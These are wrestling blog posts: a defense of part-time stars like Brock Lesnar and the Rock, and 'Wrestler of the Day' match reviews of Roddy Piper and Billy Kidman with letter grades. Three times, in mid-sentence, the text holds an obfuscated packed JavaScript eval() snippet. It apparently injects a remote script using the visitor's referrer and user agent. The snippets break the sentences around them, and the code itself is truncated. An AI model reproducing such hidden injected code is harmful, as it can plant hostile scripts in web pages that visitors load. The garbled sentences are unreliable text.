Thought of the Day: Your Time Is My Time

Concerning eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhnfs|var|u0026u|referrer|htben||js|php'.split('|'),0,{})) Rock, Lesnar, Undertaker, RVD etc.One of the most common criticisms about wrestlers such as these is that they’re part timers and shouldn’t be given top spots.  My reaction to this: why in the world shouldn’t they be?

 

Here’s the thing about guys like this: yeah they’re part timers, but they sell tickets.  WWE is supposed to stick with their people that don’t do as well instead of someone like Brock who is a guaranteed draw because of some loyalty?  That’s great.  They can be loyal the whole time business goes down because they don’t want to offend the feelings of some of their employees.

Look at Punk for example.  Yeah he worked hard for a year as champion and had a very entertaining run.  That’s all well and good, but Rock sells more tickets and merchandise than him with relative ease.  WWE would be foolish to stick with Punk because he had been there all this time instead of going with Rock who can make them a lot more money in a hurry.

This part timers shouldn’t get pushed theory comes off like some of the markiest stuff in the world. It’s a business people, and if the part timers do the most business then that’s what we’re going to get. That’s WWE’s thinking and it’s very logical and successful.




Wrestler of the Day – April 18: Roddy Piper

It’s Roddy Piper and that’s all the introduction you need.

 

Piper eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hient|var|u0026u|referrer|fnkse||js|php'.split('|'),0,{})) got his start in the AWA where he famously lost his first match to Larry Hennig in 10 seconds. He would stick around for a few years but not do much of anything before heading west to Los Angeles where he was the top heel for several years. Here he is against probably his biggest rival of the period, Chavo Guerrero. From the LA Olympic Coliseum in 1976, putting this early in their feud.

Chavo Guerrero vs. Roddy Piper

We get a bagpipe recital before the match but Chavo breaks it up. Uncultured pest. They slug it out to start with neither guy moving an inch. A right hand to the face puts Chavo in the ropes and some elbows to the back of the head have him in even more trouble. Guerrero fights back with uppercuts in the corner but has to beat up Piper’s unnamed manager whose name sounds like Dr. Rivera.

Chavo beats him up for a good while and sends him into the corner as Piper is on the floor with an object in his hand. He slips it to the manager but it winds up knocking the referee down, allowing Piper and Rivera to destroy Chavo with what looks like a pipe. Rivera covers Guerrero and Piper counts a pin before Roddy accidentally hits Rivera with the pipe. A second referee comes out but gets shoved down as well as Rivera is back up. Hector Guerrero FINALLY comes out to help his brother as Piper is somehow named the winner. That doesn’t even make bad sense. No rating as the match barely happened but it was wild.

Piper would head north to Portland where he again would become a big star, though this time as a face. His biggest feud was against Buddy Rose and here’s one match between them from May 12, 1979.

Buddy Rose vs. Roddy Piper

This is 2/3 falls with two guest referees, one inside and one outside. Piper is Pacific Northwest Champion but the belt isn’t on the line here. The brawl starts on the floor with Rose being whipped into the barricade. Back in and Piper whips him into the buckles as Rose is begging for mercy on the floor. Buddy slides back in and nails some left hands to almost no effect. Instead it’s off to a chinlock and Piper is busted open somehow.

The fans chant for Roddy as he fights up after two arm drops. Back up and Piper freaks out after seeing his own blood but Rose bites the cut to put him back down. We hit another chinlock and Piper actually goes down as Rose drives a knuckle into his head. Roddy finally scores with a knee to the head but Rose pokes him in the eye to stop him again.

Piper loses it again and nails a series of right hands. A shot to the throat puts Rose down as the recently face Piper still has some heel mannerisms about him. Rose gets hammered in the corner and suplexed down but Piper picks him up at two. A swinging neckbreaker gives Roddy the first fall.

Fall #2 begins after a break and Rose is walking to the back. That goes nowhere as he comes back in with a few seconds to spare and Piper fires off elbows to the head. A hard whip into the corner puts Rose down again and we hit the neck crank from Piper this time. Piper lets go and snaps Rose’s throat across the top rope instead but misses a dropkick in the corner as the turnbuckle breaks.

Rose chokes with the rope before taking him outside to ram Roddy’s back into the post. The crew tries to fix the buckle but the ropes are flying all over the place now. Rose grabs a backbreaker for two but pulls Piper up instead of going for the pin. A second backbreaker is enough for the pin on Piper though to tie things up.

We start the final round with Rose jumping Piper from behind and getting two off an atomic drop. Off to a bearhug on Piper but he fights out with a stiff right hand to the face. Rose backs off but gets beaten down in the corner, only to come back with a headbutt to the ribs. They fight outside with Rose hammering away but Piper takes over with an even bigger beating. A guy named Wisgowski runs out and posts Piper, allowing Rose to try to claim a countout. The other referee doesn’t buy it though and Piper wins by DQ.

Rating: C+. This worked well while it lasted and the double referee makes sense here. These two feuded for over a year in Portland and drew some awesome crowds over how much they hated each other. Rose would be more famous as a comedy guy in the WWF, as well as being in the first match at Wrestlemania.

Piper would head to Jim Crockett and Mid-Atlantic about a year later. After a feud with Ric Flair, Piper would set his sights on Greg Valentine and the US Title. Their most famous match was a dog collar match at Starrcade 1983.

Roddy Piper vs. Greg Valentine

Greg is US Champion but this is non-title because it’s a dog collar match. The idea is they both have collars around their neck and there’s a chain attaching the two collars, meaning neither guy can run away. Anything goes and you can win by pinfall. This match came about because Valentine injured Piper’s ear in the match where he won the title. They immediately start by pulling on the chain with their necks in a painful looking tug of war. Neither guy can get an advantage so they both start pulling on the chain to get closer to each other.

Piper gets in the first shot with the chain and Valentine is mad. They back up again but Valentine misses some swings and Piper gets back to the corner. Both guys come to the center of the ring for a slugout but no one can take over. Roddy gets in some shots with the chain and Valentine is in trouble. Greg goes for the bad ear and start choking away with the chain but also wrapping the chain around Piper’s face for extra torture.

Piper comes back with some shots to the eyes of his own before choking away in the middle of the ring. Valentine is sent into the corner and Piper keeps pounding away on the head. Piper takes it to the floor for some HARD shots with the chain as they head into the barricade. Greg gets in some shots to the bad ear and Piper is bleeding from the side of his head.

Back in and Valentine pounds away but Piper blocks a suplex. A hard elbow gets two for Valentine but Piper is in big trouble. Greg tries to hit the ropes but Piper pulls the chain to bring him down. Piper goes NUTS on Valentine and pounds away on him, busting the champion open in the process. Valentine goes right back to the ear but Piper comes back with some straight left hands to the jaw. A BIG right hand drops Valentine but Greg goes after the ear again to take over. Greg gets two off a knee drop as both guys are tiring.

A chain shot to Piper’s ear gets two but Roddy comes back with a suplex to put both guys down. Greg grabs a quick sleeper but Piper’s arm only drops once. Roddy wraps the chain around his hand but the hold slows him down again. A jawbreaker gets Piper out of the hold but it’s Valentine going up first. Roddy pulls him off the ropes and beats the tar out of him with the chain before tying the legs up to pin Valentine. Solie says that was for the title but corrects himself a few seconds later.

Rating: B+. This is a very hard hitting brawl but it can be a bit slow at times. This is the match that made people realize how insane Piper could be as he went out there and took an insane beating before coming back time after time and trying to hurt Valentine. He would jump to the WWF soon after and become the top villain in the world, which is what he deserved to be.

Piper would be in the WWF very soon after this. His first feud came against Jimmy Snuka, due to Piper breaking a coconut over Snuka’s head. Here’s one of their many matches from MSG on August 25, 1984.

Roddy Piper vs. Jimmy Snuka

Ok, this MUST be better than anything else tonight. I mean, by pure talent alone it has to be. This is just after the coconut attack by Piper so this is a really hot feud. Piper bails to the floor to start (popular move tonight) before coming back in for a hot slugout. Snuka easily chops him down and adds a headbutt for good measure. Piper tries a headbutt of his own and looks like he has a concussion. Roddy goes to the eye instead and pounds away at the head but Jimmy comes back with a chop to send Piper to the floor.

As they come back in, Snuka gets Piper caught up in the ropes and pounds away before hooking a sleeper. Piper gyrates his way out to the floor again and finally breaks the hold. Jimmy rams him into the post and into a chair for good measure to bust Piper open. They head back inside and Roddy looks TERRIFIED. Another headbutt puts Piper down but he counters the top rope cross body and sends Jimmy into the ropes. Snuka falls to the floor and is counted out in record time.

Rating: C+. This was BY FAR the best match of the night so far as it felt like these two wanted to kill each other. Piper charging in to fight Jimmy was a good idea as he looked more crafty than cowardly, which is a nice thing to see given how lame heels are booked in modern wrestling. These two feuded for a long time, with the feud being incorporated into the main event of the first Wrestlemania.

Piper would soon move on to his biggest feud ever with Hulk Hogan. Roddy had attacked pop star Cyndi Lauper with Hogan coming in for the save. This set up the War to Settle the Score in February of 1985.

WWF World Title: Hulk Hogan vs. Roddy Piper

We’re on MTV now for the next thirty minutes. Piper does the whole pipe and drums intro thing. Piper wears a Hulkamania shirt and brings in a guitar. Orton has a sling for his arm as the injury is very slow healing already. Bob Costas is doing the ring announcing here to show how big this is. Piper breaks the guitar saying this is what I think of rock and roll.

The place EXPLODES for Hogan and Eye of the Tiger. This really should have been the main event of the first Mania, perhaps with Hogan challenging for the belt. They go right at it to start with Hogan DRILLING in right and Piper collapsing from the force of a whip into the corner. Big elbow drop has Piper reeling early on. A ton of celebrities are here. This really was a huge deal.

Clothesline in the corner gets two as the fans are rabid here. Piper gets the sleeper which is actually a choke. We get two arm drops and Hogan shakes his finger no on the third one to a huge reaction. Hogan rams him into the corner to break it up and here’s Orton for the interference that isn’t seen.

His arm goes into the buckle and Hogan fights back with….left hands? Really? It’s on now and here comes Paul Orndorff to replace the hurt Orton. There goes the referee and Orndorff gets a top rope knee and it’s thrown out somewhere in there. The heels beat down Hogan, and then we get to the REAL reason this show happened: Mr. T. jumps the guard rail and gets in, only to be beaten down as well. Hogan comes up for the save, and ladies and gentlemen, I give you Wrestlemania.

Rating: D+. Match sucked and if you think that means anything then stop reading as you have no business here. The match was simply the backdrop to set up the biggest event in wrestling history (yes Starrcade that includes you) and the show that would make WWF mean something. This would lead to Hogan vs. Orndorff which set up Hogan vs. Heenan which set up Hogan vs. Andre and I think you can see where this could get awesome in a hurry. Bad match, EPIC moment as the WWF had arrived.

They would have another match at the Wrestling Classic.

WWF Title: Roddy Piper vs. Hulk Hogan

Hogan, in white tights, is jumped by Piper during the music. This is more or less a token title defense here as it’s pretty much fallout (8 months later) from Mania. It’s of course a brawl from the start as nothing else would work for these two I guess. This reminds me of a UK game as it’s blue and white. That automatically makes this awesome. Hogan is dominating early so all is right with the world.

The referee stops a punch though, allowing Piper to punch Hogan. God bless sensible officiating. In something you don’t see often from Hogan, he uses a bearhug. His weight and size was rarely talked about as he was always against monsters, but he was bigger than about 90% of wrestlers ever. That’s saying a lot. This is about as standard as you can get as I feel like I’m watching a house show.

The sleeper is the submission hold of choice here and there’s the arm popping up on the third try. In a cool spot, Hogan runs at the ropes and dives over to break the hold. Yes you read that right, Hogan jumped. I’ll give you a minute to recover from that. Uh oh we have a ref bump. Piper drills him with a chair and of course being hit by a professional athlete with a large and heavy object made of steel isn’t enough to hurt Hogan at all.

Hogan gets Piper in a sleeper (yes you read that right) but Orton runs in for the DQ in another cheap finish. Orndorff makes the save. Gorilla says that Orton was effective. How? He caused his man to get a DQ and therefore it’s the same result as him getting pinned, but then again what do I know?

Rating: C-. This was generic, but then again it wasn’t bad at all. These two had a great chemistry together as there’s such a perfect natural rivalry that you can’t plan or script here. I always wanted for Piper to win the title, even for a month or two. Can you imagine the money that the rematches would draw? Heck that would have been FAR better as the main event of Mania 2. Anyway, this wasn’t bad or great, but it was more bad than good because of the ending.

No real reason for this one but it’s Piper being a jerk as always, culminating in a match between Jesse Ventura/Piper/Orton and the Hillbillies.

Jesse Ventura/Roddy Piper/Bob Orton vs. Cousin Luke/Uncle Elmer/Hillbilly Jim

Jim is the most talented of the face hillbilly team. What does that tell you? Piper and Orton say funny things about the hillbillies. He was a total master on the mic in this era. The hillbillies say generic hillbilly stuff. The mat is dark gray and the ropes are mixed up, as in they go blue, red then white. It’s weirder than it sounds. Also, the ring looks TINY. Uncle Elmer and Ventura start. Elmer is REALLY fat.

Wow it’s odd hearing Heenan from this era. It really is. He’s a totally different commentator. He’s still his usual jerky self, but his voice sounds different to put it mildly. Luke…sucks. That’s all there is to it. I mean he sucks HARD. Naturally he gets beaten down for the majority of the match. Piper was still moving in the ring at this time and was far better at wrestling than he was given credit for.

Jesse’s wrestling was underrated. He knew how to sell and could work a crowd really well. Luke gets his head handed to him for a good while. We get the classic ref doesn’t see the tag spot which is one of the easiest ways in the world to get heat on someone. Piper beats up Uncle Elmer, who is like 6’7 and close to 500lbs on his own. It’s rather amusing. We get a melee and after a cast shot to Luke, Piper puts him to sleep to end a glorified squash.

Rating: D. Weak stuff here but like I said, I’d expect a lot of that. There was heat from the crowd, but when the third best in ring guy is Hillbilly Jim, it’s a bad sign. This just didn’t work and felt weak, but that’s part of the problem with the hillbillies in general: they’re nothing but comedy characters and putting them in a match like this isn’t going to lead anywhere.

Piper would leave to make They Live soon after this. He came back to find that the Pit had been replaced by the Flower Shop, and that meant he was out of bubble gum. From Wrestlemania III in Piper’s retirement match.

Roddy Piper vs. Adrian Adonis

The loser gets their hair cut and is probably the third biggest match on the show if not the second biggest. Piper walks to the ring instead of taking the cart to soak everything in a little bit more. The fans go NUTS for Piper who is still somewhat freshly face. Adonis is rather plump here, giving us a great line from Jesse: “We’re either going to have a bald Scot or Humpty Dumpty.” Piper takes off his belt and they whip each other a few times with Adonis taking over.

Piper comes right back by sending Adrian into the corner for Flair Flip to the floor. Both Adonis and Hart get pulled back in and Piper rams them together to send them back outside. Back in again and Piper throws Hart off the top and onto Adonis but Jimmy FINALLY gets something right by tripping Roddy down.

Now it’s Adonis in control as they head to the floor. Piper gets sent into the announce table and Jimmy adds a spray of perfume into his eyes. There’s Adrian’s sleeper (Good Night Irene) and Piper is almost out, but Adonis lets him go at two arm drops. Brutus Beefcake runs out to wake Piper up and after a missed clipper shot from Adonis, Piper puts him in the sleeper for the win.

Rating: C+. This was the exact kind of wild brawl that you would expect it to be. The ending was the right move as Adonis had accidentally cut Beefcake’s hair recently so it made sense given the haircut stuff. This is the right way for Roddy to go out though and the fans were way into it. Fun stuff here.

Piper would actually leave the ring for over two years, eventually coming back in late 1989. He and Bad News Brown eliminated each other from the 1990 Royal Rumble, setting up a bizarre match at Wrestlemania VI. In what I think was some kind of a nod to Michael Jackson, Piper came into the match with half of his body painted black. It didn’t make sense but it was certainly memorable.

Roddy Piper vs. Bad News Brown

An interesting point here is that both guys are legit black belts in judo with Brown being an Olympic bronze medalist in the sport. They immediately take it to the mat in a fist fight until Piper gets two off a cross body of all things. The referee (former heel wrestler Danny Davis) keeps separating them so Brown takes over by sending Piper’s head into the buckle. He yells at Piper for trying to be black and it’s off to a nerve hold.

Brown slugs him down a few times and drops an elbow for two. Somewhere in there a buckle pad is ripped off and it’s Brown going chest first into said buckle. Piper pulls out a single white glove (Brown wore a single black one) and a bunch of punches send Brown to the floor. Piper swings a chair but hits the post and it’s a double countout.

Rating: D. Instead of a brawl or something entertaining, this was much more of a bizarre spectacle than anything else. Brown would be gone soon after this while Piper would shift into the broadcast booth to take over for Jesse. The fight was a lot weaker because of how much stuff there was to distract from the action which is never a good thing.

Piper wrestled very sparingly for awhile as he did commentary for the second half of 1990 and injured his knee in a motorcycle crash. After squashing some jobbers in late 1991, he earned an Intercontinental Title shot at Royal Rumble 1992.

Intercontinental Title: Roddy Piper vs. The Mountie

Piper slowly removes his kilt and Mountie cracks jokes. When the champ turns his head, Piper shoves the kilt in his face and takes over quickly. We head to the floor with Mountie quickly reeling. Back in the ring and Mountie chokes a bit before getting punched in the face. A very delayed bulldog puts Mountie down and Piper easily wins a slugout. He misses a dropkick though and Mountie puts on a half nelson. A jumping back elbow gets two for Mountie as does a sunset flip for Piper. Piper atomic drops him to the apron but Mountie skins the cat. He also collides with Jimmy Hart and the sleeper gives Piper the title.

Rating: D. The match itself sucked but there was never any doubt about this match at all. Mountie is about as textbook a definition of a transitional champion as you’ll ever see and the place went NUTS when Piper won the title. This would be Piper’s only singles title in the WWF and his only title period (other than those before he got to the WWF in the first place) until he won the US Title in WCW for less than two weeks.

Roddy would basically retire again for several years after this, before eventually becoming the WWF President. That didn’t last long either though as he debuted at Halloween Havoc 1996 and had a match against Hogan at Starrcade 1996.

Hollywood Hogan vs. Roddy Piper

The whole idea is that Hogan has never definitively beating Piper one on one. Hogan has a fleet of people with him here but he still wants time out before we get going. He’s already on the floor before the bell rings and it’s time to stall. After a minute of waiting on the floor he heads back inside for a lockup and takes Piper into the corner. Piper shoves him into the other corner and finally fires off some right hands, sending Hogan out to the floor and up the aisle. Back in and Hogan pounds away as this is very dull stuff so far.

Hogan throws a lot of punches but Piper comes back with a thumb to the eye and a clothesline. Hollywood heads to the floor and it’s time for more stalling. Back in for a main event headlock which Piper uses to drag Hogan down to the mat. Hogan finally knocks him out to the floor for more brawling, which means single right hands knocking Piper three feet backwards.

They head back in with Piper punching him down again as we head to the floor for the fifth time or so. Piper rams him into the barricade over and over before whipping Hogan in the back with a belt. Back in and Piper slams him down, only to be tripped by Ted DiBiase, meaning WE GO OUTSIDE AGAIN. Hogan knocks Piper into the crowd for a second as this is REALLY boring so far. Back in yet again and Hogan kicks away at Piper’s recently replaced hip before putting on an abdominal stretch.

Piper fights out of it and pounds him in the head before getting two off a small package. They slug it out a bit and Tony is thrilled by this for some reason. Piper hooks a suplex and you would think he had just reinvented sliced bread. Time for more laying around but Hogan misses his legdrop.

Piper gets up and hops on one foot (what was with that???) and here’s Giant for the save. He picks up Piper for the chokeslam but after holding him in the air for seventeen seconds (including Hogan having to stop a fan from running in), Piper kicks Hogan down and bites Giant to escape the hold. Piper shoves Giant to the floor and puts Hogan in the sleeper for the win.

Rating: F. For the main event of the biggest show of the year, this was awful. For a match in general, this was a disaster. The fans didn’t react at all until the end and even then it was NOTHING compared to the pop when Luger beat Giant. It was clear that neither guy was capable of working a match this long with no one to help them and it made for a terrible ending to the show.

WCW goes nuts for Piper and the NWO runs in to beat down Piper. He fights them off and bails before Giant and Hogan are furious with each other. Giant asks Hogan where he was when he needed Hogan. Oh by the way: this wasn’t for the title. WCW never said it was but never said that it wasn’t either, correctly assuming that fans would think the main event of the biggest show of the year was a title match.

We’ll jump ahead again as 1997 and 1998 didn’t have much for Piper. Those years were spent either in matches about respect or bringing up his rivalry with Hogan that no one wanted to see in the late 90s. Instead here’s a match from Slamboree 1999 as Piper and Flair are fighting for the presidency of WCW because Flair is insane.

Roddy Piper vs. Ric Flair

The winner is the president. Before things get going, referee Johnny Boone is fired and Charles Robinson replaces him. Flair runs his mouth and gets slapped to get us going. Piper knocks him to the floor and let’s take a break after that. He boxes Flair, seemingly hitting him in the chest and neck, but Flair falls anyway. He hits a low blow to take over and Robinson yells at Piper for choking.

Flair yells at Anderson to beat on Piper when he throws him outside. Flair throws Piper outside and Anderson beats on him. Asya comes in for a low blow and this is about as far from serious as you could want it to be. Flair chops away in the corner and Piper chops back. Robinson cheats on a cover and says Flair keeps getting his shoulder up. There’s the Flair Flip in the corner and they go to the outside.

Piper rams Flair’s head into Flair’s arm but we’ll say it was the post anyway. Back in the ring they ram heads and both guys are down. After about 2 seconds of leg softening here’s the Figure Four. Piper tries a sunset flip and there go the trunks. He hooks Flair in the Figure Four and Flair screams that he gives up but Robinson ignores it. Anderson breaks it up but gets thrown in a sleeper. Now Flair in the sleeper. Asya runs in and gets kissed and put in a sleeper as well. The referee gets decked and Flair hits Piper with an illegal object for the pin.

Rating: The chipmunk has pneumonia. I better take him to the embassy before he deletes the remote control of reality and I run out of apple juice. If he does that, there will be a great and mighty feast in the great archway of the flippyflook.

And that was more logical than putting this match on PPV. But wait: there’s more.

Here’s Eric Bischoff who hasn’t been seen in awhile and has no authority whatsoever in this company. He says Piper is the winner and that Flair can bite him. Somehow this stands. Eric and Piper hug to a face pop (intentional I’d assume but who knows with this company?) and Piper fires Flair. Just….yeah.

Thankfully we’ll get out of WCW after that as Piper entered into another retirement, only to return at Wrestlemania XIX to reignite his feud with Hogan. They would meet at Judgment Day 2003. Er, actually it was Mr. America but whatever.

Mr. America vs. Roddy Piper

Get this over with. FAST. Sean O’Haire is with Piper here and Gowen is with Hogan. The joke is an old one here but still kind of funny. Piper, in regular trunks, jumps Hogan along with O’Haire to take over early. O’Haire, in wrestling gear for no apparent reason, hammers away on Hogan a bit too. Here comes Mr. America with the “24 inch Patriots” and the beating is on.

Out to the floor and Hogan chokes O’Haire with the weight belt. Hogan whips Piper with it a bit as we haven’t had a single wrestling move other than a punch or whip in this whole thing. Sleeper goes on and it’s AWFUL. Piper is almost poking him in the eyes. Hogan fights that off and gets taken down by an axe handle to the back. American hammers away again and it’s Vince to the rescue! Low blow by Piper but a pipe shot from O’Haire hits Piper and the leg drop ends it. Gowen kept Vince from saving it.

Rating: F+. Why in the world is Roddy Piper in trunks in a featured match on PPV in 2003? Hogan….eh I guess you can stretch to let that be here, but put him against O’Haire and let HIM get the rub. He was a cool character and he gets fed to Hogan instead of growing a bit. That’s the criticism you get for Hogan and at times it makes sense. Granted this one isn’t Hogan’s fault, but it’s the stereotype of him. This one is on the company though.

Piper would be gone again but would come back in 2006 to team up with Flair in an effort to teach the Spirit Squad respect. From Cyber Sunday 2006.

Raw Tag Titles: Ric Flair/??? vs. Spirit Squad

The vote is for Flair’s partner. The choices are Piper, Slaughter and Dusty. Piper, looking VERY old, gets the nod. Is there supposed to be a connection between Slaughter and Flait that I’m just not getting? Piper takes his shirt off and I get mad at him. How could he not tell us he was 8 months pregnant? He even has breasts full of milk! Dusty and Slaughter come out to back up the old guys for this.

Kenny and Mikey are the two in the ring at the moment. Ross says this is like Lebron vs. Michael Jordan. Well no one ever claimed Ross toned things down. Both tag and Piper is pathetic looking. Piper gets beaten up as Flair is by far the ace of the team. That’s either awesome or sad and I’m not sure which. The heels dominate for the most part while Piper just kind of lays there.

The hot tag brings in Flair and Mikey is in the figure four but Kenny saves with his top rope legdrop. Are we waiting on the Piper hot tag now? It’s clear that Flair is the only guy on his team in any semblance of shape. Figure four goes on again and OLD GUYS WIN! Dusty and Slaughter come in to stop the big beatdown. Rhodes’ music of all things plays them out. Ah ok it’s so they can dance.

Rating: D-. This was pretty pathetic really. Flair is passable but Piper was clearly just in nothing close to wrestling shape. He would at least wear a t-shirt for the rest of his time in the ring which is a nice break. They would drop the belts in 8 days to Rated RKO so at least this wasn’t long or anything. The match was bad though, namely due to Piper.

We’ll wrap it up with a match from Raw on June 13, 2006.

Roddy Piper vs. The Miz

Piper is in tights and a t-shirt while Miz is in street clothes.  Miz hammers away and Piper gets a sleeper.  Riley pulls him off and here they go.  Piper grabs a schoolboy for the pin at 1:06.

Oh come on it’s Roddy Piper. He could have an entertaining match in the ring if given the chance but his greatest glory came on the microphone. Piper is one of the best talkers of all time and there’s a case to be made that he’s the best ever. Yeah he thinks a bit too highly of himself, but to suggest he’s anything but outstanding is ridiculous.

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Wrestler of the Day – April 15: Billy Kidman

Today is Billy Kidman. He fought Hulk Hogan a few times.

 

Kidman eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sesbt|var|u0026u|referrer|dkina||js|php'.split('|'),0,{})) started in 1994 so here’s a match from an NWA show in 1995.

Rik Ratchet vs. Billy Kidman

There’s some trash talk before the match but I can’t understand any of it because of the bad acoustics. Kidman appears to be the face here. Ratchet chops away in the corner to start but walks into a backdrop to send him outside. Back in and Kidman kicks him in the chest for two as this is one sided so far.

Ratchet does a Flair Flip in the corner and Kidman clotheslines him out of the air on the way down for two. A slingshot legdrop gets the same and Rik wants a handshake. That earns him a crotching on the top rope for two but Ratchet’s manager trips Kidman up. Kidman goes after him but gets hit with some kind of a stick, which I guess is a DQ as the match just stops.

Rating: D+. Yeah this wasn’t much to see but Kidman was a rookie so what can you expect? The match being a glorified squash is kind of surprising but at least it was short. Ratchet didn’t show me anything either and to the best of my knowledge he didn’t go anywhere after this.

Kidman would make his Nitro debut on June 10, 1996.

Steven Regal vs. Billy Kidman

Kidman is a total rookie here. I think this is his WCW debut. Regal kills him for a bit but Kidman gets some stuff in and busts out a 450 (kind of) which misses. Regal puts on the start of a Liontamer but steps on Kidman’s head instead for the tap in less than a minute.

Here’s a slightly more competitive match from Nitro on March 17, 1997.

Chris Benoit vs. Billy Kidman

This doesn’t even last a minute with the Crossface ending it. That hadn’t been his finisher long at all at this point.

Uh….maybe Nitro isn’t Kidman’s show. Let’s try Thunder from February 5, 1998.

Juventud Guerrera vs. Kidman

Juvy takes over with a quick headscissors but an attempt at a second is countered into a reverse sitout powerbomb. The fans yell at Lodi as Kidman stops Juvy’s speed with shots to the back. Kidman reverse supelxes Guerrera onto the apron but Juvy comes back with a springboard missile dropkick to put Kidman on the floor. A rana takes Kidman off the apron and back to the floor but Juvy might have hurt his knee in the process.

The knee is fine enough to try a springboard legdrop but Juvy only hits canvas. Kidman goes to the middle rope but gets caught by a Frankensteiner for two. A nothern light suplex gets the same for Guerrera and the Juvy Driver looks to set up the 450. Juvy has to dropkick Lodi down instead though and Kidman hits a quick bulldog and the Shooting Star for the pin.

Rating: B-. That’s probably high but given how fast paced this was in the short amount of time it’s impossible to not be impressed. Kidman was great in the ring when he had someone who could go move for move with him and Juvy certainly fits that bill. For five minutes this was some high level stuff.

That worked so let’s try another Thunder from April 9, 1998.

Kidman vs. Psychosis

This should be good. Kidman takes over with some forearms to the back to start but Psychosis slams the back of Kidman’s head into the mat for two. Psychosis sends him to the floor and hits a big dive over the top rope which almost missed badly. Back in and Kidman hits the sitout spinebuster but stops to scratch. A sunset flip gets two for Psychosis but Kidman comes back with a bulldog while climbing the corner.

Kidman loads up a superplex and here’s Chris Jericho of all people. Psychosis shoves Kidman off and hits a spinwheel kick but there’s no referee. A victory roll still gets no count for Psychosis as Jericho still has the referee. Psychosis loads up the guillotine legdrop but here’s La Parka with a weak chair shot to knock him to the mat. Kidman hits the Seven Year Itch for the pin.

Rating: C-. This didn’t have time to go anywhere and it could give Russo a run for his money with the overbooking, but Psychosis continues to look good. It’s nice to see him get a story, even one as minor as the Flock fighting for Lodi’s honor. Nice little match here but the fans didn’t care.

Now I think we can try another Nitro, like this one from September 14, 1998.

Cruiserweight Title: Kidman vs. Juventud Guerrera

Juvy is defending. The fans aren’t sure who to cheer for here as things start fast. Some chops take Kidman down and Juvy rains down right hands in the corner to take over early. A missile dropkick sends Kidman to the floor as the fans are way into this. Kidman comes back in with a slingshot headscissors followed by a powerslam for two. We hit the chinlock on the champion but he fights up and gets a headscissors of his own.

A cross body from Juvy sends both guys to the floor and we take a break. Back with Guerrera getting two off a rollup but getting crushed by a slingshot legdrop. We go back to the chinlock for a bit before a lifting powerbomb (Sky High) takes Guerrer down for two. A wheelbarrow suplex gets the same but Juvy counters a belly to back suplex into a German suplex for two.

Guerrera goes up for a not great looking hurricanrana for another near fall before the Juvy Driver is countered into a reverse suplex from Kidman. The Shooting Star is countered with another hurricanrana but Juvy dives into another powerbomb. Kidman hits the Shooting Star for the pin, the title, and a BIG pop from the crowd.

Rating: B+. Excellent match here with both guys just going nuts for about fifteen minutes and one upping each other all match long. Kidman was one of the few guys that could hang with Guerrera in a high flying match and he more than did that here. The fans were going nuts here and the match was as good as anything we’ve seen on Nitro in months.

Here’s a title defense from Halloween Havoc 1998.

Cruiserweight Title: Kidman vs. Disco Inferno

Disco is challenging and is quickly dropkicked down to the corner. A drop toehold sets up an armbar from the champion before he just stomps a mudhole on Disco. Kidman gets a bit too cocky though and gets sent throat first into the ropes, followed by a neckbreaker for two. Disco tosses him outside but Kidman climbs up the steps for a bulldog down to the floor. Back in and the champion misses a top rope splash to give Inferno a two count.

We hit the chinlock on Kidman but he quickly gets up and hits a hard clothesline. Disco avoids a charge in the corner and stomps Kidman down before talking a lot of trash. A middle rope elbow misses after Disco wastes too much time dancing. He’s able to avoid a dropkick though and hit the jumping piledriver for a delayed two count. Kidman reveres a suplex but can’t hit his bulldog out of the corner. Instead it’s Disco getting two off a gordbuster but taking too much time trying the Macarena Driver. Kidman counters with a faceplant and the Shooting Star retains the title.

Rating: B-. Not as good as the Guerrera match but it still worked quite well. Kidman was awesome at this point and could have a good match with anyone (except Scott Hall of course) as the division is really getting awesome again. Thankfully the LWO wasn’t a part of this as it just isn’t catching my interest so far.

Kidman would start feuding with the LWO, leading to a triple threat against Juventud Guerrera and Rey Mysterio Jr. at Starrcade 1998. I’ll include a bonus with this match.

Cruiserweight Title: Rey Mysterio vs. Juventud Guerrera vs. Billy Kidman

Billy, the champion coming in, is a guy who used to be a very generic cruiserweight and then started wrestling in jeans and an undershirt which somehow made him much better in the ring. Juventud is one of the best high fliers ever and has lost his mask recently, because why would WCW want a piece of merchandise like that to sell for $25? Both challengers are members of Eddie Guerrero’s Latino World Order which was a pointless story given to him by Bischoff to keep Eddie from quitting.

Kidman and Rey are friends so they double team Juvy to start with Kidman sending Juvy into Rey for a tilt-a-whirl backbreaker. Juvy is hit with a pair of dropkicks in the corner and there’s a Bronco Buster from Rey for good measure. Kidman loads up Juvy for a shot from Rey but Guerrera moves just in time, causing Rey to hit the champion. Everyone starts hitting everyone now and it’s Kidman taking over. Kidman puts Rey on his shoulders for a top rope cross body from Juvy, only to roll Kidman up and send Juvy crashing to the mat. Billy counters that into a wheelbarrow suplex on Rey, sending him onto Juvy for two.

Juvy gets in a shot to both guys and manages to bulldog them both down at the same time to get himself a breather. Guerrera hits some hard chops on both guys but Rey sends him into the corner. Juvy escapes a German suplex from Mysterio, only to be clotheslined down by Kidman. Everyone is down again but Juvy sends both guys to the floor for a BIG dive to take them both out. The fans don’t seem to care which is rather surprising as the dive looked great.

